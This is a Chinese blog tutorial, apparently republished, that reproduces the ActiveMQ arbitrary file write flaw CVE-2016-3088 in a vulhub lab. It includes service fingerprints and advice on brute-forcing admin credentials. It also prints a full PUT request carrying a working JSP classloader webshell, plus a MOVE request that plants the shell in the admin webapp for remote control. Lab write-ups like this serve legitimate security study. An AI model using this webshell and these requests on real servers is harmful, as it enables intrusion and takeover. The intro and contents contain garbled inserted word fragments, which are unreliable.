含笑九泉网

[ vulhub漏洞复现篇 ] ActiveMQ任意文件写入漏洞CVE-2016-3088

[ vulhub漏洞复现篇 ] ActiveMQ任意文件写入漏洞CVE-2016-3088

🍬 博主介绍

👨‍🎓 博主介绍:大家好,漏洞我是复现 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,任入漏欢迎各位大佬指点,意文相互学习进步!漏洞

文章目录

  • 🍬 博主介绍
  • 一、复现漏洞编号
  • 二、任入漏影响范围
  • 三、意文漏洞描述
  • 四、漏洞ActiveMQ指纹信息
  • 五、复现环境搭建
    • 1、任入漏切换到CVE-2016-3088目录
    • 2、意文启动CVE-2016-3088环境
    • 3、漏洞查看CVE-2016-3088环境
    • 4、复现访问CVE-2016-3088环境
    • 5、任入漏查看CVE-2016-3088提示信息
    • 6、关闭CVE-2016-3088环境
  • 六、漏洞复现(webshell控制)
    • 利用步骤
    • 利用步骤
      • 1、获取admin应用的用户名和密码
      • 2、获取ActiveMQ的绝对路径
      • 3、上传webshell
      • 4、将webshell移动到admin所在文件夹
      • 5、连接webshell
  • 七、相关资源

一、漏洞编号

CVE-2016-3088

二、影响范围

Apache ActiveMQ 5.x - 5.14.0

三、漏洞描述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

四、ActiveMQ指纹信息

[{             "match": "port_contains",            "content": "8161"        },        {             "match": "server_contains",            "content": "jetty"        }],        [        {             "match": "banner_contains",            "content": "server:activemq"        }],        [        {             "match": "header_contains",            "content": "realm=\"activemqrealm"        },        {             "match": "banner_contains",            "content": "magic:activemq"        }],        [        {             "match": "banner_contains",            "content": "realm=\"activemqrealm"        }]

五、环境搭建

采用vulhub环境

1、切换到CVE-2016-3088目录

cd vulhub/activemq/CVE-2016-3088

在这里插入图片描述

2、启动CVE-2016-3088环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2016-3088环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2016-3088环境

http://ip:8161

在这里插入图片描述

5、查看CVE-2016-3088提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2016-3088环境

复现完毕记得关闭环境

docker-compose down

在这里插入图片描述

六、漏洞复现(webshell控制)

这个漏洞需要知道ActiveMQ的绝对路径,需要能登录admin或者api
ActiveMQ的绝对路径可以通过ttp://your-ip:8161/admin/test/systemProperties.jsp页面获取。
而这个页面也需要登录admin之后才能访问。
所以需要获取admin应用的用户名和密码

利用步骤

1、获取用户名和密码
2、获取ActiveMQ的绝对路径
3、上传webshell
4、将webshell移动到admin所在文件夹
5、连接webshell,获取主机权限

利用步骤

1、获取admin应用的用户名和密码

vulhub的默认用户名和密码都是admin
真实环境可通过以下几种方式获取用户名密码:

尝试默认用户名和密码尝试弱口令(暴力破解)社工

这里就不详细不详细说了,一般来说利用bp进行bacis认证爆破用的比较多,我之前有一篇文章写的很详细,感兴趣的可以看一看

https://blog.csdn.net/qq_51577576/article/details/126910831

2、获取ActiveMQ的绝对路径

得到admin应用的用户名和密码之后,就可以访问如下网页

http://192.168.13.131:8161/admin/test/systemProperties.jsp

获取ActiveMQ的绝对路径了。这个网页有很多信息,这里不展开说了。

在这里插入图片描述

3、上传webshell

先得把webshell上传到fileserver,之后才能从fileserver转移。由于ActiveMQ是个java程序,因此需要传个jsp webshell。
在网上找了个jsp webshell:蚁剑jsp一句话木马(https://blog.csdn.net/qq_43615820/article/details/116357744)
用PUT方法把webshell上传到fileserver:

PUT /fileserver/_PowerShell.jsp HTTP/1.1Host: 192.168.13.131:8161User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Authorization: Basic YWRtaW46YWRtaW4=Content-Length: 782<%!class U extends ClassLoader { U(ClassLoader c) { super(c);}public Class g(byte[] b) { return super.defineClass(b, 0, b.length);}} public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) { Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}%><%String cls = request.getParameter("passwd");if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}%>

上传成功
Response报文状态码204表示上传成功

在这里插入图片描述

验证以下是否上传成功,出现如下页面就是上传成功

http://192.168.13.131:8161/fileserver/_PowerShell.jsp

在这里插入图片描述

4、将webshell移动到admin所在文件夹

用MOVE方法进行webshell的移动

MOVE /fileserver/_PowerShell.jsp HTTP/1.1Authorization: Basic YWRtaW46YWRtaW4=Destination: file:///opt/apache-activemq-5.11.1/webapps/admin/_PowerShell.jspHost: 192.168.13.131:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0

同样,Response报文状态码204表示移动成功:

在这里插入图片描述

5、连接webshell

这里用蚁剑演示一下,重点是记住admin应用是需要登录的,所以记得一定要在连接中添加Authorization头。
基础配置

在这里插入图片描述

请求信息

在这里插入图片描述

连接成功,提示也就意味着我们的服务器失陷了

在这里插入图片描述

终端管理

在这里插入图片描述

七、相关资源

1、[ vulhub漏洞复现篇 ] ActiveMQ反序列化漏洞复现(CVE-2015-5254)

https://blog.csdn.net/qq_51577576/article/details/126332307

2、[ web基础篇 ] Burp Suite 爆破 Basic 认证密码

ttps://blog.csdn.net/qq_51577576/article/details/126910831

3、蚁剑安装以及使用方法

https://blog.csdn.net/qq_45951598/article/details/108585696

4、jsp一句话木马

https://blog.csdn.net/qq_45951598/article/details/108585696

未经允许不得转载:含笑九泉网 » [ vulhub漏洞复现篇 ] ActiveMQ任意文件写入漏洞CVE-2016-3088